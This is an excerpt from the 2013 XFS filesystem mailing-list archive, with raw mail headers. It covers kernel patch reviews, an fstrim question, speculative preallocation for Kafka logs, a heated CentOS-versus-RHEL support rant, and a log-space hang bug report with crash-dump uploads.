    --089e01536dc4b09c9604e27097ef-- From tinguely@sgi.com Fri Jul 26 16:16:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B4D2F29E30 for ; Fri, 26 Jul 2013 16:16:56 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 886A7304084; Fri, 26 Jul 2013 14:16:56 -0700 (PDT) Message-ID: <51F2E747.8070105@sgi.com> Date: Fri, 26 Jul 2013 16:16:55 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 27/49] xfs: consolidate extent swap code References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-28-git-send-email-david@fromorbit.com> In-Reply-To: <1374215120-7271-28-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/19/13 01:24, Dave Chinner wrote: > From: Dave Chinner > > So we don't need xfs_dfrag.h in userspace anymore, move the > extent swap ioctl structure definition to xfs_fs.h > where most of the other ioctl structure definitions are. > > Now that we don't need separate files for extent swapping, > separate the basic file descriptor checking code to xfs_ioctl.c, > and the code that does the extent swap operation to xfs_bmap_util.c. > This cleanly separates the user interface code from the physical > mechanism used to do the extent swap. > > Signed-off-by: Dave Chinner > --- Looks good. Only change is xfs_swapext() is rename xfs_ioc_swapext() when moved to xfs_ioctl.c. Reviewed-by: Mark Tinguely From sandeen@sandeen.net Fri Jul 26 16:37:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 77A7D29E0E for ; Fri, 26 Jul 2013 16:37:45 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 03978AC002 for ; Fri, 26 Jul 2013 14:37:41 -0700 (PDT) X-ASG-Debug-ID: 1374874660-04cbb02c3ee1ba0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id QFTc0G65QaDmmcmG for ; Fri, 26 Jul 2013 14:37:40 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-249-49.hsd1.mn.comcast.net [98.240.249.49]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 90A4B617B558; Fri, 26 Jul 2013 16:37:39 -0500 (CDT) Message-ID: <51F2EC21.6000208@sandeen.net> Date: Fri, 26 Jul 2013 16:37:37 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Stefan Priebe CC: "xfs@oss.sgi.com" Subject: Re: how to use fstrim? References: <51F2BD31.5060301@profihost.ag> X-ASG-Orig-Subj: Re: how to use fstrim? In-Reply-To: <51F2BD31.5060301@profihost.ag> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1374874660 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137333 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 BSF_SC0_SA085 Custom Rule SA085 On 7/26/13 1:17 PM, Stefan Priebe wrote: > Hi, > > what is the right way to use fstrim on top of XFS? just doing fstrim -v -m 4194304 / > > results sometimes (might depend on disk i/o) to hanging tasks and stack traces - fstrim needs > 5 min in these cases. As always, it's better to include things like the actual stack traces you got, so we have some idea what's going on ... How fast it goes probably depends quite a lot on the storage underneath. So including storage information as well would also help us give you a meaningful answer... And kernel version... etc. http://xfs.org/index.php/XFS_FAQ#Q:_What_information_should_I_include_when_reporting_a_problem.3F -Eric From bpm@sgi.com Fri Jul 26 16:42:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 38D5029E11 for ; Fri, 26 Jul 2013 16:42:42 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id F08038F8035; Fri, 26 Jul 2013 14:42:38 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id B44944266DC; Fri, 26 Jul 2013 16:42:38 -0500 (CDT) Date: Fri, 26 Jul 2013 16:42:38 -0500 From: Ben Myers To: Jason Rosenberg Cc: stan@hardwarefreak.com, xfs@oss.sgi.com Subject: Re: understanding speculative preallocation Message-ID: <20130726214238.GM1681@sgi.com> References: <1374823420041-35002.post@n7.nabble.com> <20130726115021.GO13468@dastard> <51F2CD8B.8080207@hardwarefreak.com> <20130726205018.GM3111@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.20 (2009-06-14) Hi Jason, On Fri, Jul 26, 2013 at 05:11:55PM -0400, Jason Rosenberg wrote: > Is it safe to say that speculative preallocation will not be used if a file > is opened read-only? The blocks will only be reserved on an appending write. > It turns out that the kafka server does indeed write lots of log files, and > rotate them after they reach a max size, but never closes the files until > the app exits, or until it deletes the files. This is because it needs to > make them available for reading, etc. So, an obvious change for kafka > might be to close each log file after rotating, and then re-open it > read-only for consumers of the data. Does that sound like a solution that > would pro-actively release pre-allocated storage? An interesting idea, and I'm not quite sure. The blocks past EOF are freed in xfs_release on close in some circumstances, and it looks like you have a chance to call xfs_free_eofblocks (at least in the most uptodate codebase) if you did not use explicit preallocation (e.g. fallocate or an xfs ioctl) and did not open it append-only. You could reopen with read-write flags and it wouldn't make a difference vs read-only, so long as you don't do an appending write. Seems like it's worth a try. Another possibility is to look into what would happen if you do a truncate up to i_size when you're ready to stop appending to the file. I haven't checked that out though. Regards, Ben From sandeen@sandeen.net Fri Jul 26 16:45:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 362AF29E11 for ; Fri, 26 Jul 2013 16:45:55 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id C9CADAC001 for ; Fri, 26 Jul 2013 14:45:54 -0700 (PDT) X-ASG-Debug-ID: 1374875153-04bdf02f22f0270001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id qAFhpPcOEwLxEqrg for ; Fri, 26 Jul 2013 14:45:53 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-249-49.hsd1.mn.comcast.net [98.240.249.49]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 72FBA617B558; Fri, 26 Jul 2013 16:45:52 -0500 (CDT) Message-ID: <51F2EE0F.4060305@sandeen.net> Date: Fri, 26 Jul 2013 16:45:51 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Jason Rosenberg CC: stan@hardwarefreak.com, xfs@oss.sgi.com Subject: Re: understanding speculative preallocation References: <1374823420041-35002.post@n7.nabble.com> <20130726115021.GO13468@dastard> <51F2CD8B.8080207@hardwarefreak.com> X-ASG-Orig-Subj: Re: understanding speculative preallocation In-Reply-To: X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1374875153 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137333 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 7/26/13 3:38 PM, Jason Rosenberg wrote: > Hi Stan, > > Thanks for the info (most of it was, in fact, news to me). I'm an > application developer trying to debug a disk space problem, that's > all. So far, I've tracked it down to being an XFS issue. > > So you are saying there's no public information that can correlate > XFS versioning to CentOS (or RHEL) versioning? > > Sad state of affairs. > > If anyone can volunteer this info (if available to you) I'd be much > appreciative. > > Regardless, is there a version history for XFS vis-a-via mainline > Linux? There is no exact version history per se, ie. no "XFS version 2.51" Instead, the best point of reference upstream is the kernel release number, i.e. kernel 2.6.32, kernel 3.2, etc. Ben pointed you at changelogs for that, which you can peruse... Once you get into RHEL, you're into a land of backports - originally 2.6.32, but various & sundry updates & backports, to the point where it is a bit of a special snowflake, based on the requirements of RHEL customers and the RHEL maintainers (who, incidentally, are also major upstream XFS developers). Your best bet for a distro kernel is to look at i.e. the kernel RPM changelog to see what's been going on. But you won't be able to correlate that exactly with any one upstream version, unless maybe you see a "rebase $SUBSYSTEM to $KERNEL_VERSION" code type changelog. Back to your original problem, you may find that just setting a fixed allocsize as a mount option has more pros than cons for your usecase. HTH, -Eric > Thanks, > > Jason > > > On Fri, Jul 26, 2013 at 3:27 PM, Stan Hoeppner > wrote: > > On 7/26/2013 12:40 PM, Jason Rosenberg wrote: > > > Anyway, I'm surprised that you don't have some list or other way to > > correlate version history of XFS, with os release versions. I'm guessing > > the version I have is not using the latest/greatest. We actually have > > another system that uses an older version of the kernel (2.6.32-279), and > > 2.6.32-279 - this is not a mainline kernel version. This is a Red Hat > specific string describing their internal kernel release. It has zero > correlation to any version number of anything else in the world of > mainline Linux. > > > If, say you tell me, the mainline xfs code has improved behavior, it would > > be nice to have a way to know which version of CentOS might include that? > > IMNSHO, CentOS is a free proprietary chrome plated dog turd. It's > flashy on the outside and claims it's "ENTERPRISE", "just like RHEL!". > Then you crack it open and find nothing but crap inside. So you take it > back to the store that gave it away for free and the doors are barred, > the place out of business. The chrome has peeled off and you're stuck > with crap that difficult to use. Every time you touch it you get dirty > in some fashion. > > RHEL is a proprietary solid chrome turd you pay for. You can't get to > the inside, but if you find a scratch and 'return' it Red Hat will say > "we can help you fix that". > > If you avoid the flashy turds altogether while still plunking down no > cash, and use a distro based entirely on mainline Linux and GNU user > space source, you can get help directly from the folks who wrote the > code you're running because they know what is where. Whether it be > Linux proper, the XFS subsystem, NFS, Samba, Postix, etc. Such > distributions are too numerous to mention. None of them are chrome > plated, none claim to be "just like ENTERPRISE distro X". I tell all > users of RHEL knock offs every time I see a situation like this: > > Either pay for and receive the support that's required for the > proprietary distribution you're running, or use a completely open source > distro based on mainline kernel source and GNU user space. By using a > RHEL knock off, you're simply locking yourself into an outdated > proprietary code base for which there is no viable support option, > because so few people in the community understand the packaging of the > constituent parts of the RHEL kernels. This is entirely intentional on > the part of Red Hat, specifically to make the life of CentOS users > painful, and rightfully so. > > FYI, many of the folks on the XFS list are Red Hat employees, including > Dave. They'll gladly assist RHEL customers here if needed. However, to > support CentOS users, especially in your situation, they'd have to use > Red Hat Inc resources to hunt down the information related to the CentOS > kernel you have that correlates to the RHEL kernel it is copied from. > So they've just consumed Red Hat Inc resources to directly assist a free > competitor who copied their distro. > > Thus there's not much incentive to assist CentOS users as they'd in > essence be taking money out of their employer's pocket. Taken to the > extreme this results in pay cuts, possibly furloughs or pink slips, etc. > > Surely this can't be the first time you've run into a free community > support issue with the CentOS kernel. Surely what I've written isn't > news to you. Pay Red Hat for RHEL, or switch to Debian, Ubuntu, Open > Suse, etc. Either way you'll be able to get much better support. > > -- > Stan > > > > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From bpm@sgi.com Fri Jul 26 16:58:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D13F17F50 for ; Fri, 26 Jul 2013 16:58:20 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id A276230405F; Fri, 26 Jul 2013 14:58:20 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 537544266DC; Fri, 26 Jul 2013 16:58:20 -0500 (CDT) Date: Fri, 26 Jul 2013 16:58:20 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 22/48] xfsprogs: Add verifiers to libxfs buffer interfaces. Message-ID: <20130726215820.GN3111@sgi.com> References: <1370564771-4929-1-git-send-email-david@fromorbit.com> <1370564771-4929-23-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1370564771-4929-23-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) Dave, On Fri, Jun 07, 2013 at 10:25:45AM +1000, Dave Chinner wrote: > From: Dave Chinner > > Verifiers need to be used everywhere to enable calculation of CRCs > during writeback of modified metadata. Add then to the libxfs buffer > interfaces conver the internal use of devices to be buftarg aware. > > Verifiers also require that the buffer has a back pointer to the > struct xfs_mount. To make this source level comaptible between > kernel and userspace, convert userspace to pass struct xfs_buftargs > around rather than a "device". > > Signed-off-by: Dave Chinner > @@ -507,7 +527,7 @@ typedef struct xfs_inode { > xfs_mount_t *i_mount; /* fs mount struct ptr */ > xfs_ino_t i_ino; /* inode number (agno/agino) */ > struct xfs_imap i_imap; /* location for xfs_imap() */ > - dev_t i_dev; /* dev for this inode */ > + struct xfs_buftarg i_dev; /* dev for this inode */ Got a little jumpy with the tabs there... > diff --git a/libxfs/rdwr.c b/libxfs/rdwr.c > index e9cc7b1..f91a5d0 100644 > --- a/libxfs/rdwr.c > +++ b/libxfs/rdwr.c > @@ -200,12 +200,15 @@ libxfs_log_header( > #undef libxfs_getbuf_flags > #undef libxfs_putbuf > > -xfs_buf_t *libxfs_readbuf(dev_t, xfs_daddr_t, int, int); > -xfs_buf_t *libxfs_readbuf_map(dev_t, struct xfs_buf_map *, int, int); > +xfs_buf_t *libxfs_readbuf(struct xfs_buftarg *, xfs_daddr_t, int, int, > + const struct xfs_buf_map *); const struct xfs_buf_ops *); > +xfs_buf_t *libxfs_readbuf_map(struct xfs_buftarg *, struct xfs_buf_map *, > + int, int, const struct xfs_buf_map *); const struct xfs_buf_ops *); > @@ -612,9 +622,9 @@ libxfs_purgebuf(xfs_buf_t *bp) > { > struct xfs_bufkey key = {0}; > > - key.device = bp->b_dev; > + key.buftarg = bp->b_target; > key.blkno = bp->b_bn; > - key.bblen = bp->b_bcount >> BBSHIFT; > + key.bblen = bp->b_length; Why was this change necessary? b_bcount to b_length? It doesn't seem to be related to the rest of the patch. > @@ -767,9 +803,42 @@ __write_buf(int fd, void *buf, int len, off64_t offset, int flags) > int > libxfs_writebufr(xfs_buf_t *bp) > { > - int fd = libxfs_device_to_fd(bp->b_dev); > + int fd = libxfs_device_to_fd(bp->b_target->dev); > int error = 0; > > + /* > + * we never write buffers that are marked stale. This indicates they > + * contain data that has been invalidated, and even if the buffer is > + * dirty it must *never* be written. Verifiers are wonderful for finding > + * bugs like this. Make sure the error is obvious as to the cause. > + */ > + if (bp->b_flags & LIBXFS_B_STALE) { > + bp->b_error = ESTALE; > + return bp->b_error; > + } What led to this? > + > + /* > + * clear any pre-existing error status on the buffer. This can occur if > + * the buffer is corrupt on disk and the repair process doesn't clear > + * the error before fixing and writing it back. > + */ > + bp->b_error = 0; > + if (bp->b_ops) { > + bp->b_ops->verify_write(bp); > + if (bp->b_error) { > + fprintf(stderr, > + _("%s: write verifer failed on bno 0x%llx/0x%x\n"), > + __func__, (long long)bp->b_bn, bp->b_bcount); > + return bp->b_error; > + } > + } > + > + if (bp->b_ops) { > + bp->b_ops->verify_write(bp); > + if (bp->b_error) > + return bp->b_error; > + } > + Calling the verifier twice? Maybe I'm seeing double again... > @@ -187,11 +184,7 @@ roundup_pow_of_two(uint v) > NULL; \ > }) > #define xfs_buf_relse(bp) libxfs_putbuf(bp) > -#define xfs_read_buf(mp,devp,blkno,len,f,bpp) \ > - (*(bpp) = libxfs_readbuf((devp), \ > - (blkno), (len), 1), 0) Yeah, nobody is using this macro anymore. > diff --git a/mkfs/xfs_mkfs.c b/mkfs/xfs_mkfs.c > index a393607..3864932 100644 > --- a/mkfs/xfs_mkfs.c > +++ b/mkfs/xfs_mkfs.c > @@ -2487,13 +2488,19 @@ an AG size that is one stripe unit smaller, for example %llu.\n"), > exit(1); > } > > + /* > + * XXX: this code is effectively shared with the kernel growfs code. > + * These initialisations should be pulled into libxfs to keep the > + * kernel/userspace header initialisation code the same. > + */ > for (agno = 0; agno < agcount; agno++) { Nice idea. > /* > * Superblock. > */ > - buf = libxfs_getbuf(xi.ddev, > + buf = libxfs_getbuf(mp->m_ddev_targp, > XFS_AG_DADDR(mp, agno, XFS_SB_DADDR), > XFS_FSS_TO_BB(mp, 1)); > + buf->b_ops = &xfs_sb_buf_ops; > memset(XFS_BUF_PTR(buf), 0, sectorsize); > libxfs_sb_to_disk((void *)XFS_BUF_PTR(buf), sbp, XFS_SB_ALL_BITS); > libxfs_writebuf(buf, LIBXFS_EXIT_ON_FAILURE); ... > @@ -1353,7 +1353,8 @@ scan_ags( > } > memset(agcnts, 0, mp->m_sb.sb_agcount * sizeof(*agcnts)); > > - create_work_queue(&wq, mp, scan_threads); > + create_work_queue(&wq, mp, 1); > + //create_work_queue(&wq, mp, scan_threads); What's this all about? Were you having trouble with a multithreaded scan? Looks fine for the most part... I did get a little uncomfortable with using verifiers on reads in repair. Not sure whether setting b_error = EFSCORRUPTED would have ill effect later. Reviewed-by: Ben Myers Regards, Ben From mlsemon35@gmail.com Fri Jul 26 17:20:13 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1189829E0D for ; Fri, 26 Jul 2013 17:20:13 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 902A0AC002 for ; Fri, 26 Jul 2013 15:20:09 -0700 (PDT) X-ASG-Debug-ID: 1374877207-04cbb02c3ce5280001-NocioJ Received: from mail-yh0-f41.google.com (mail-yh0-f41.google.com [209.85.213.41]) by cuda.sgi.com with ESMTP id M9LwCKUXW0EOwuSb (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 26 Jul 2013 15:20:08 -0700 (PDT) X-Barracuda-Envelope-From: mlsemon35@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.213.41 X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.41] Received: by mail-yh0-f41.google.com with SMTP id b12so451534yha.0 for ; Fri, 26 Jul 2013 15:20:07 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.41] X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.41] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type:content-transfer-encoding; bh=ajCv8S7JSbBRk2Hsp5jDd179fyjQ5IshYSTEPdAFIHk=; b=DFMvXVONrCr9iwIry9Y2tmJQgfzZzy86PXuJxyZlIGL8f2oM7CkYoaMzssSZYQHcMO v121kU9H8xTea7TOl+9TOMl7FcaIMF6/sCiOiUj++T/XQWSzpIsNzW/jFNpCDQsFLGna z8yXs/OfoSUvSfV5LLV0sq23JYZWryiMQcOJbog7cp3sX1BGq0Ze43AlSCLDNkfTEinq X2S5SvKqa3IHws6AFl/1SVVXr8gUAqWbn6zV6ZoMtcvrfK7FgBzIIPWaNV/16fg+H4/o 7Cpod59mYcDPJ/qdJsLpT6dNwh84dKjKJMkq5tZxBDEr81N6/sS15qYa1KtYyEVyGuzg IKyQ== X-Received: by 10.236.139.194 with SMTP id c42mr21916688yhj.140.1374877207465; Fri, 26 Jul 2013 15:20:07 -0700 (PDT) Received: from [192.168.0.129] (rrcs-97-78-60-146.se.biz.rr.com. [97.78.60.146]) by mx.google.com with ESMTPSA id o1sm67324974yho.2.2013.07.26.15.20.06 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Fri, 26 Jul 2013 15:20:06 -0700 (PDT) Message-ID: <51F2F60E.7080005@gmail.com> Date: Fri, 26 Jul 2013 18:19:58 -0400 From: "Michael L. Semon" User-Agent: Mozilla/5.0 (X11; Linux i686; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Mark Tinguely CC: xfs@oss.sgi.com Subject: Re: [PATCH 44/49] xfs: Reduce allocations during CIL insertion References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-45-git-send-email-david@fromorbit.com> <51EEF26F.5040001@sgi.com> <51EEF949.9020104@gmail.com> <51EFD68A.40400@sgi.com> <51F2E011.5020904@gmail.com> <51F2E4DD.4020301@sgi.com> X-ASG-Orig-Subj: Re: [PATCH 44/49] xfs: Reduce allocations during CIL insertion In-Reply-To: <51F2E4DD.4020301@sgi.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-yh0-f41.google.com[209.85.213.41] X-Barracuda-Start-Time: 1374877208 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137334 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 07/26/2013 05:06 PM, Mark Tinguely wrote: > On 07/26/13 15:46, Michael L. Semon wrote: >> On 07/24/2013 09:28 AM, Mark Tinguely wrote: >>> On 07/23/13 16:44, Michael L. Semon wrote: >>>> On 07/23/2013 05:15 PM, Mark Tinguely wrote: >>>>> On 07/19/13 01:25, Dave Chinner wrote: >>>>>> From: Dave Chinner >>>>>> >>>>>> Now that we have the size of the object before the formatting pass >>>>>> is called, we can allocation the log vector and it's buffer in a >>>>>> single allocation rather than two separate allocations. >>>>>> >>>>>> Store the size of the allocated buffer in the log vector so that >>>>>> we potentially avoid allocation for future modifications of the >>>>>> object. >>>>>> >>>>>> While touching this code, remove the IOP_FORMAT definition. >>>> >>>>>> Signed-off-by: Dave Chinner >>>>> >>>>> Looks good. >>>>> >>>>> Reviewed-by: Mark Tinguely >>>>> >>>>> _______________________________________________ >>>>> xfs mailing list >>>>> xfs@oss.sgi.com >>>>> http://oss.sgi.com/mailman/listinfo/xfs >>>> >>>> I'd like to register a gentle "test this well" protest on this patch. >>>> While trying to figure out the origin of an unrelated lockdep, I >>>> tried to copy 3 kernel gits from one 2k non-CRC XFS filesystem to >>>> another one. With at least this patch used, the cp operatin stops, >>>> leading to not-umountable, not-syncable filesystems. It might be >>>> while copying the 2nd git, or the 3rd git, while copying header files, >>>> or while copying those large *.pack files, but it will happen >>>> somewhere. >>>> >>>> A bisect of the issue ends on this patch, but its removal means that >>>> 45_49 and 46_49 cannot be applied without good knowledge of the code >>>> to be patched. >>>> >>>> This one's on me for not being able to get good information to Dave. >>>> If I can find a way to get trace-cmd to pipe over ssh or something >>>> like that, then maybe there's a chance to make a file that `trace-cmd >>>> report` can read. Previous attempts to save to different filesystems >>>> or save over NFS and CIFS have all failed. Will keep trying... >>>> >>>> For diagnosing this patch, is there an effective trace that is rather >>>> small? And would you need more than just the XFS events? >>>> >>>> Thanks! >>>> >>>> Michael >>>> >>> >>> Thanks for the heads up. >>> >>> If you could please redo the test and get the stack traces with /proc/sysrq-trigger and if you kernel works with crash, a core dump. For the stack trace, I mostly want to know if it has several "xlog_grant_head_wait" entries in it, because ... >>> >>> ...I seemed to have triggered a couple log space reservation hangs with fsstress one XFS partition and a mega-copy on another partition, but will have to graft the new XFS tree onto a Linux 3.10 kernel to get crash (and one of my sata controllers) to work again. >>> >>> Thanks. >>> >>> --Mark. >> >> Well, I tried. Here's a Google Drive link, and hopefully it works: >> >> https://drive.google.com/folderview?id=0B41268QKoNjtckwzVTJqWnIydEE >> >> The instructions in Documentation/kdump/kdump.txt were followed >> fairly well. The dump was taken from /proc/vmcore and extracted >> like this: >> >> $ cat /proc/vmcore | gzip -9vc> 4git-cp-kernel-dump-1.gz >> >> You seem to have things well under control, so it all might not be >> needed, anyway. It does mean that kernel core dumps will go more >> quickly next time. >> >> BTW, there's a "crash" program referenced in kdump.txt, and it's been >> downloaded but not built yet. Were you looking for output from the >> crash program? >> >> Thanks! >> >> Michael > > Thanks more data. I will take a look. I will need the vmlinux, System.map, and xfs.ko (if xfs is a module). > > I can reproduce a problem in patch 44 too. It takes my copy test 20 minutes to deplete the log space with patch 44, Same test with patch 43 has been running a day and a half. I do not think that patch 44 is 100 times faster than patch 43 but I will let patch 43 spin all weekend on a couple machines to verify that patch 43 does not hang. > > Whatever the cause, it has to be fixed before bringing in patches 43-47. > > --Mark. OK, I uploaded vmlinuz and System.map for both the system and capture kernels, plus the configs for both kernels. They're at the same link as the kernel core dump: https://drive.google.com/folderview?id=0B41268QKoNjtckwzVTJqWnIydEE These are taken from a 32-bit i686 Pentium 4 PC; I hope you won't have to drag a boat anchor out of storage in order to use them. Thanks again! Michael From david@fromorbit.com Fri Jul 26 20:09:59 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 552967F67 for ; Fri, 26 Jul 2013 20:09:59 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 319A78F8035 for ; Fri, 26 Jul 2013 18:09:59 -0700 (PDT) X-ASG-Debug-ID: 1374887396-04cb6c2e9df5900001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id 6yeqOx0VV7DZS7Ab for ; Fri, 26 Jul 2013 18:09:56 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true 